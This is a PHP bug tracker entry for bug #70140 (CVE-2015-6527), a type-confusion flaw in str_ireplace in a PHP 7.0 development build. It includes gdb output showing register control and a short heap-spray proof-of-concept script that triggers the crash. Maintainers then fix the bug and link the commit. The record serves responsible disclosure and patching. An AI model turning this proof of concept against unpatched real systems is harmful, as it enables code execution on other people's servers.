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Bug #70140 str_ireplace/php_string_tolower - Arbitrary Code Execution
Submitted: 2015-07-26 14:15 UTC Modified: 2015-08-23 12:27 UTC
From: fourny dot d at gmail dot com Assigned: laruence (profile)
Status: Closed Package: Strings related
PHP Version: 7.0Git-2015-07-26 (Git) OS: x86_64 GNU/Linux
Private report: No CVE-ID: 2015-6527
 [2015-07-26 14:15 UTC] fourny dot d at gmail dot com
Description:
------------
Hello,

I discovered a vulnerability issue in this PHP version:

$ php --version
PHP 7.0.0-dev (cli) (built: Jul 25 2015 11:31:46) (DEBUG)
Copyright (c) 1997-2015 The PHP Group
Zend Engine v3.0.0-dev, Copyright (c) 1998-2015 Zend Technologies

In this new version of PHP, it is possible to control some registers and this could be lead to an arbitrary code execution.
The problem is in the function "str_ireplace", the third arguments "$subject" type is not checked.
Because of that, we can control the assembly registers.

We can check that in gdb:

Breakpoint 1, 0x00000000008139ff in php_string_tolower (s=0x7fff55e00020) at /home/df0/php-src/ext/standard/string.c:1503
1503            e = c + ZSTR_LEN(s);
(gdb) x/10i $rip
=> 0x8139ff <php_string_tolower+29>:    mov    rdx,QWORD PTR [rax+0x10]
   0x813a03 <php_string_tolower+33>:    mov    rax,QWORD PTR [rbp-0x18]
   0x813a07 <php_string_tolower+37>:    add    rax,rdx
   0x813a0a <php_string_tolower+40>:    mov    QWORD PTR [rbp-0x20],rax
   0x813a0e <php_string_tolower+44>:    jmp    0x813af2 <php_string_tolower+272>
   0x813a13 <php_string_tolower+49>:    call   0x42b2c0 <__ctype_b_loc@plt>
   0x813a18 <php_string_tolower+54>:    mov    rdx,QWORD PTR [rax]
   0x813a1b <php_string_tolower+57>:    mov    rax,QWORD PTR [rbp-0x18]
   0x813a1f <php_string_tolower+61>:    movzx  eax,BYTE PTR [rax]
   0x813a22 <php_string_tolower+64>:    movzx  eax,al
(gdb) x/10x $rax
0x7fff55e00020: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fff55e00030: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fff55e00040: 0x41414141      0x41414141
(gdb) ni
0x0000000000813a03      1503            e = c + ZSTR_LEN(s);
(gdb) x/x $rdx
0x4141414141414141:     Cannot access memory at address 0x4141414141414141

If you have a question, do not hesitate.

Regards, Dimitri Fourny.

Test script:
---------------
<?php

// heap spray
ini_set("memory_limit", -1);
$part = str_repeat("\x41", 4096);
$str = str_repeat($part, 10*1024*1024*256/4096);

// the core
$a =  "string";
str_ireplace($a, $a, 0x7fff55e00020);

?>

Actual result:
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Program received signal SIGSEGV, Segmentation fault.
0x00000000008139ff in php_string_tolower (s=0x7fff55e00020) at php-src/ext/standard/string.c:1503

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 [2015-07-27 13:44 UTC] laruence@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: laruence
 [2015-07-29 10:37 UTC] fourny dot d at gmail dot com
Thank you. Can you make this bug public please?

Regards, Dimitri Fourny.
 [2015-07-29 18:18 UTC] stas@php.net
-Type: Security +Type: Bug
 [2015-08-04 20:54 UTC] ab@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6aeee47b2cd47915ccfa3b41433a3f57aea24dd5
Log: Fixed bug #70140 (str_ireplace/php_string_tolower - Arbitrary Code Execution)
 [2015-08-23 12:27 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2015-6527
 [2016-07-20 11:37 UTC] davey@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=6aeee47b2cd47915ccfa3b41433a3f57aea24dd5
Log: Fixed bug #70140 (str_ireplace/php_string_tolower - Arbitrary Code Execution)
 
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